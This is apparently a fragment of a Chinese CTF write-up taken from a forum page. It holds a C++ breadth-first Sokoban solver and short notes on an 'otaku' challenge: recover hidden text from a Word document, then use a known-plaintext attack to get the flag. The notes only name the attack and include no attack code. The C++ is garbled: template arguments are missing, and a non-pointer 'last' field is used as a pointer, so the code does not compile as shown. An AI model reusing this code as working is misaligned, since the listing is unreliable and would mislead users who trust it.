typedef long long LL; int n, m; char a[MAXN][MAXN]; int nb, nd; int dx[MAXL], dy[MAXL]; struct Qtype { int bx[MAXL], by[MAXL]; int px, py; Qtype last; int8_t mov; bool operator== (const Qtype &a)const { if (px != a.px || py != a.py) return false; for (int i = 0; i < nb; ++i) if (bx[i] != a.bx[i] || by[i] != a.by[i]) return false; return true; } int hash()const { LL ans = 0; ans = (ans + (px * MAXN + py) * 13 + 19) % MOD; for (int i = 0; i < nb; ++i) ans = (ans + (bx[i] * MAXN + by[i]) * 13 + 19) % MOD; if (ans < 0) ans += MOD; return ans; } }; vector hs[MOD]; const int dir[4][2] = {{ -1, 0}, {0, -1}, {1, 0}, {0, 1}}; const char mp[4] = {'w', 'a', 's', 'd'}; vector q; void printans() { string ans; for (Qtype i = q.back(); i->mov != -1; i = i->last) ans += mp[i->mov]; reverse(ans.begin(), ans.end()); puts(ans.c_str()); exit(0); } void update(Qtype s) { int h = s->hash(); for (auto i = hs[h].begin(); i != hs[h].end(); ++i) if (s->operator==(i)) return; hs[h].push_back(s); q.push_back(s); int cnt = 0; for (int i = 0; i < nb; ++i) { bool ok = false; for (int j = 0; j < nd; ++j) if (s->bx[i] == dx[j] && s->by[i] == dy[j]) ok = true; if (ok) ++cnt; } if (cnt == nb) printans(); } int main() { scanf("%d%d", &n, &m); for (int i = 0; i < n; ++i) for (int j = 0; j < m; ++j) scanf(" %c", &a[i][j]); Qtype s; s.mov = -1, s.last = NULL; nb = nd = 0; for (int i = 0; i < n; ++i) for (int j = 0; j < m; ++j) switch (a[i][j]) { case '4': s.px = i, s.py = j; break; case '2': s.bx[nb] = i, s.by[nb] = j; nb++; break; case '1': dx[nd] = i, dy[nd] = j; nd++; break; } update(new Qtype(s)); int fri = 0; while (fri < q.size()) { Qtype fr = q[fri++]; for (int i = 0; i < 4; ++i) { int tx = fr->px + dir[i][0], ty = fr->py + dir[i][1]; if (tx < 0 || tx >= n || ty < 0 || ty >= m) continue; if (a[tx][ty] == '8') // wall continue; int tx2 = tx + dir[i][0], ty2 = ty + dir[i][1]; int j; for (j = 0; j < nb; ++j) if (fr->bx[j] == tx && fr->by[j] == ty) break; if (j < nb) { if (tx2 < 0 || tx2 >= n || ty2 < 0 || ty2 >= m) continue; if (a[tx2][ty2] == '8') continue; bool ok = true; for (int k = 0; k < nb && ok; ++k) if (fr->bx[k] == tx2 && fr->by[k] == ty2) ok = false; if (!ok) continue; } Qtype *t = new Qtype; t->px = tx, t->py = ty; t->mov = i, t->last = fr; memcpy(t->bx, fr->bx, sizeof(Qtype::bx)); memcpy(t->by, fr->by, sizeof(Qtype::by)); if (j < nb) t->bx[j] = tx2, t->by[j] = ty2; update(t); } } return 0; } ```

otaku

修复出明文

word中隐藏的last words: Hello everyone, I am Gilbert. Everyone thought that I was killed, but actually I survived. Now that I have no cash with me and I’m trapped in another country. I can't contact Violet now. She must be desperate to see me and I don't want her to cry for me. I need to pay 300 for the train, and 88 for the meal. Cash or battlenet point are both accepted. I don't play the Hearthstone, and I don't even know what is Rastakhan's Rumble.

然后已知明文攻击 get flag

请先登录
+1 已点过赞
1
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (0)